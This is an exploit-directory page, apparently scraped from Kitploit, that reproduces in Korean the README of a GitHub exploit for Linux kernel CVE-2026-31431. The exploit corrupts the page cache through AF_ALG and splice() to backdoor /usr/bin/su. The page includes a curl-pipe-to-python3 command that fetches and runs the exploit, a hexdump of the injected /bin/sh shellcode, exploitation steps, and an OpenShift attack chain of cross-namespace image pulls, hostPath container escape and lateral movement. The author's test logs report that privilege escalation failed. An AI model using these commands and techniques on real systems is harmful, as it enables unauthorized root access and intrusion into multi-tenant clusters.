Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-31431 — Linux 커널 CVE-2026-31431에 대한 익스플로잇으로, authencesn AEAD 조작을 통해 페이지 캐시 손상을 유발하며, 컨테이너 및 OpenShift 환경에서 권한 상승을 노립니다. | Kitploit
도구/GitHubGitHub/seanrickerd/cve-2026-31431
Cloud Infrastructure SecurityPrivilege EscalationContainer SecurityExploit FrameworksVulnerability AnalysisExploitationBinary Exploitation
GitHubseanrickerd/cve-2026-31431

cve-2026-31431

Linux 커널 CVE-2026-31431에 대한 익스플로잇으로, authencesn AEAD 조작을 통해 페이지 캐시 손상을 유발하며, 컨테이너 및 OpenShift 환경에서 권한 상승을 노립니다.

저장소 보기
125185개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-31431 "Copy Fail" - 페이지 캐시 손상 취약점

authencesn AEAD 조작을 통한 Linux 커널 페이지 캐시 손상.

⚠️ 중요: 악용 상태 업데이트 (2026년 5월 1일)

RHEL 9.6 커널을 사용하는 여러 OpenShift 4.20.16 클러스터에서 광범위한 테스트를 수행한 결과:

  • ✅ 페이지 캐시 손상: 확인됨 - 160바이트 셸코드 주입 성공
  • ✅ 커널 취약점: 권한 없는 컨테이너에서 악용 가능 (제로 capabilities)
  • ❌ 권한 상승: 달성되지 않음 - 캐시가 손상되었음에도 UID는 변경되지 않음
  • ❌ 코드 실행: 관찰되지 않음 - 수정된 페이지가 읽기에서 보이지만 실행되지 않음
  • ✅ Restricted-v2 SCC: 효과적 - 컨테이너 탈출 방지, 폭발 반경 제한

전체 세부 정보는 종합 테스트 결과 섹션을 참조하세요.


개요

CVE-2026-31431은 authencesn AEAD 암호화 구현의 Linux 커널 취약점으로, 권한 없는 프로세스가 AF_ALG 소켓과 splice() 시스템 호출 조작을 통해 읽기 가능한 파일의 페이지 캐시를 손상시킬 수 있습니다.

테스트 결과: 페이지 캐시 손상은 안정적으로 작동하지만, 테스트 환경의 RHEL 9.6 커널에서는 권한 상승이 발생하지 않습니다.

CVSS 점수: 7.8 (높음)
영향 대상: authencesn을 지원하는 Linux 커널 버전 (2017-2026)
공개 공개: 2026년 4월 29일

기능

  • Python 3.9+ 호환: ctypes를 통한 splice() 시스템 호출 래퍼 포함
  • 이식 가능: 취약한 커널이 있는 모든 Linux 시스템에서 작동
  • 신뢰성: 경쟁 조건 불필요
  • 깔끔함: 160바이트 셸코드, 결정적 악용

요구 사항

  • 취약한 authencesn 구현이 있는 Linux 커널 (2026년 4월 패치 이전)
  • Python 3.9+
  • 권한 없는 사용자 접근
  • 읽기 가능한 setuid 바이너리 (기본값: /usr/bin/su)

사용법

기본 사용법```bash

curl -s https://raw.githubusercontent.com/seanrickerd/cve-2026-31431/main/exploit.py | python3 su

### 로컬 파일에서```bash
python3 exploit.py
su

실제 익스플로잇 동작 (테스트 기반)

발생할 일:``` [] CVE-2026-31431 'Copy Fail' Exploit [] Universal Linux kernel privilege escalation

[] Target binary: /usr/bin/su [] Testing for vulnerability... [+] System appears vulnerable!

[+] Opened /usr/bin/su (fd=3) [+] File size: 56944 bytes [+] File inode: 201328196 [+] Shellcode size: 160 bytes [+] Patching file in page cache... Written 160/160 bytes... [+] Page cache patching complete! (160 bytes written)

**페이지 캐시 검증 (손상 확인):**```bash
dd if=/usr/bin/su bs=1 skip=120 count=48 | hexdump -C
00000000  31 c0 31 ff b0 69 0f 05  48 8d 3d 0f 00 00 00 31  |1.1..i..H.=....1|
00000010  f6 6a 3b 58 99 0f 05 31  ff 6a 3c 58 0f 05 2f 62  |.j;X...1.j<X../b|
00000020  69 6e 2f 73 68                                    |in/sh|
# Shellcode IS present in page cache ✅

일어나지 않을 일 (테스트 기반):```bash

Executing the backdoored su

su

Password: [press Enter]

Check UID

id -u

Result: 1000810000 (UNCHANGED - still unprivileged user)

NOT this (does NOT occur in testing):

# whoami

root ← This does NOT happen

**결론:** 페이지 캐시 손상은 성공하지만, 권한 상승은 실패합니다.

## 기술적 세부 사항

### 취약점

Linux 커널의 `authencesn`(인증된 암호화 - 확장 시퀀스 번호) 구현에는 제자리(in-place) 연산 처리에 결함이 있습니다. AF_ALG 소켓을 통해 제출된 AEAD 연산을 처리할 때, 페이지 캐시 페이지가 커널의 쓰기 가능한 대상 scatterlist에 포함될 수 있습니다.

### 악용 기법

1. **AF_ALG 소켓 생성** - `authencesn(hmac(sha256),cbc(aes))` 사용
2. **AEAD 매개변수 구성** (키, 인증 크기)
3. **대상 setuid 바이너리 열기** (예: `/usr/bin/su`)
4. **splice() 사용**하여 바이너리를 페이지 캐시에 로드
5. **제자리 AEAD 연산 트리거**하여 페이지 캐시에 쓰기 발생
6. **셸코드 작성** - 한 번에 4바이트씩
7. **수정된 바이너리 실행**하여 root 권한 획득

### 셸코드

이 악용 도구는 `/usr/bin/su`를 패치하는 160바이트 셸코드를 사용합니다:
- 비밀번호 인증 건너뛰기
- root 셸 접근 권한 부여
- 권한 없는 사용자에게는 정상 기능 유지

## Python 3.9 호환성

Python 3.9 및 이전 버전에는 표준 라이브러리에 `os.splice()`가 없습니다. 이 악용 도구에는 ctypes 기반 구현이 포함되어 있습니다:```python
import ctypes
import ctypes.util

libc = ctypes.CDLL(ctypes.util.find_library('c'))

class off64_t(ctypes.c_int64):
    pass

libc.splice.argtypes = [...]
libc.splice.restype = ctypes.c_ssize_t

def splice(src, dst, count, offset_src=None, offset_dst=None):
    # Wrapper matching Python os.splice() API
    ...

이 익스플로잇은 다음 환경에서 작동합니다:

  • ✅ Python 3.9 (RHEL 9, Ubuntu 20.04 등)
  • ✅ Python 3.10+
  • ✅ ctypes를 지원하는 모든 Python

종합 테스트 결과

테스트 환경 1: OpenShift 4.20.16 클러스터 (첫 번째 테스트)

노드 구성:

  • 커널: 5.14.0-570.96.1.el9_6.x86_64 (RHEL CoreOS 9.6)
  • OpenShift: 4.20.16
  • SCC: restricted-v2 (가장 제한적)
  • UID: 1000830000 (사용자 네임스페이스)
  • Capabilities: 0x0000000000000000 (ZERO)

테스트 결과:``` ✅ Exploit executed successfully ✅ Page cache corrupted (160 bytes shellcode injected) ✅ Shellcode visible at binary entry point (offset 120) ✅ /bin/sh signature confirmed in hexdump ❌ Privilege escalation: FAILED (UID unchanged) ❌ Root access: NO ❌ Container escape: NO (Device 2097322, Inode 931145742 - container overlay only)

### 테스트 환경 2: 새 OpenShift 클러스터 (검증 테스트)

**클러스터:** https://api.vvb32-fzdtf-8yn.nnbd.p3.openshiftapps.com:443
**노드 구성:**
- 커널: 5.14.0-570.96.1.el9_6.x86_64 (테스트 1과 동일)
- OpenShift: 4.20.16  
- SCC: restricted-v2 (확인됨)
- UID: 1000810000 (사용자 네임스페이스)
- Capabilities: 0x0000000000000000 (ZERO)

**테스트 결과:**```
✅ Page cache corruption: SUCCESS (consistent with Test 1)
✅ Shellcode injection: CONFIRMED (byte-for-byte identical)
✅ Device/Inode: 2097286 / 201328196 (container overlay - isolated)
❌ Privilege escalation: FAILED (consistent with Test 1) 
❌ Code execution: NOT OBSERVED (consistent with Test 1)
❌ UID change: NO (1000810000 → 1000810000 unchanged)

일관성: 독립적인 클러스터 전반에 걸쳐 100% 재현 가능한 결과

컨테이너 탈출 테스트

시나리오 A: hostPath 볼륨 사용 (컨테이너 탈출 가능)```yaml volumes:

  • name: host-usr hostPath: path: /usr
결과: ✅ **컨테이너 탈출** - 호스트 페이지 캐시 수정 (장치 33, 아이노드 4288)

**시나리오 B: Restricted-v2 SCC (hostPath 없음)**```yaml
# No hostPath volumes, restricted-v2 SCC
securityContext:
  runAsNonRoot: true
  allowPrivilegeEscalation: false
  capabilities:
    drop: [ALL]

결과: ❌ 컨테이너 탈출 없음 - 컨테이너 오버레이(별도 inode)에만 영향

핵심 발견: 컨테이너 탈출의 결정 요인은 capabilities가 아닌 hostPath 접근입니다.

권한 상승이 실패하는 이유

가능한 설명(추가 연구 필요):

  1. 읽기 vs 실행 코드 경로

    • 페이지 캐시 손상은 mmap(PROT_READ) 작업에 영향을 줍니다
    • 실행 가능한 매핑 mmap(PROT_EXEC)은 손상된 캐시를 우회할 수 있습니다
    • 커널은 실행 가능한 페이지에 대해 다른 코드 경로를 사용할 수 있습니다
  2. 메모리 보호

    • W^X(Write XOR Execute) 적용
    • 커널 실행 가능 페이지 검증
    • SELinux/AppArmor 코드 무결성 검사
  3. 커널 버전별 차이

    • RHEL 9.6(5.14.0-570.96.1)에는 추가 보호 기능이 있을 수 있습니다
    • 원래 CVE 연구는 다른 커널 버전을 사용했을 수 있습니다
    • 동작은 커널 릴리스에 따라 다를 수 있습니다

실제로 작동하는 것

테스트OpenShift 4.20 #1OpenShift 4.20 #2상태
AF_ALG 소켓 접근✅✅작동
페이지 캐시 손상✅✅작동
셸코드 주입✅✅작동
셸코드 표시(READ)✅✅작동
UID 변경(권한 상승)❌❌실패
코드 실행❌❌실패
컨테이너 탈출(restricted-v2)❌❌차단됨

결론: 커널 취약점은 실제로 존재하지만(페이지 캐시 손상 입증됨), 실질적인 악용은 제한적입니다.

테스트된 시스템

시스템커널페이지 캐시 손상권한 상승비고
RHEL CoreOS 9.65.14.0-570.96.1.el9_6✅ 예❌ 아니요OpenShift 4.20.16 워커
OpenShift 4.20 컨테이너5.14.0-570.96.1.el9_6✅ 예❌ 아니요restricted-v2 SCC

참고: 테스트는 RHEL 9.6 커널로 제한되었습니다. 다른 배포판/버전에서의 동작은 검증되지 않았습니다.

OpenShift 컨테이너 테스트

RHEL CoreOS 9.4를 실행하는 OpenShift 4.20 클러스터에서 성공적으로 테스트했습니다. 이 섹션은 네임스페이스 격리 우회 및 컨테이너 손상을 문서화합니다.

⚠️ 중요한 수정: 초기 테스트에서는 /proc/1/root를 통한 호스트 파일시스템 접근이 가능하다고 잘못 주장했습니다. 이는 틀렸습니다 - 격리된 컨테이너의 /proc/1/root는 OpenShift 워커 노드 호스트가 아닌 컨테이너 자체의 파일시스템을 가리킵니다. 자세한 분석은 attacks/README.md를 참조하세요.

공격 체인 요약```

Restricted Pod → Namespace Breakout → Attack Pod → CVE-2026-31431 → Root in Container → Network Reconnaissance → Lateral Movement Attempts

### 1단계: 네임스페이스 격리 우회

**취약점:** OpenShift 내부 레지스트리가 적절한 RBAC 적용 없이 교차 네임스페이스 이미지 풀을 허용합니다.

**악용:**```bash
# Enumerate images in privileged namespaces
oc get imagestreams -n openshift
oc get imagestreams -n redhat-ods-applications

# Create pod with stolen tools
cat > attack-demo.yaml << EOF
apiVersion: v1
kind: Pod
metadata:
  name: attack-demo
  namespace: user-srickerd
spec:
  containers:
  - name: stolen-tools
    image: image-registry.openshift-image-registry.svc:5000/openshift/cli:latest
    command: ["sleep", "3600"]
EOF

oc apply -f attack-demo.yaml

결과:

  • ✅ openshift/cli 이미지를 openshift 네임스페이스에서 가져옴
  • ✅ oc, kubectl, curl, openssl, Python 3.9에 대한 접근 권한 획득
  • ✅ 네임스페이스 격리 우회

영향: 테넌트 간 수평 이동 및 권한 있는 도구 접근을 허용합니다.

2단계: 컨테이너 내 커널 익스플로잇

도구 다운로드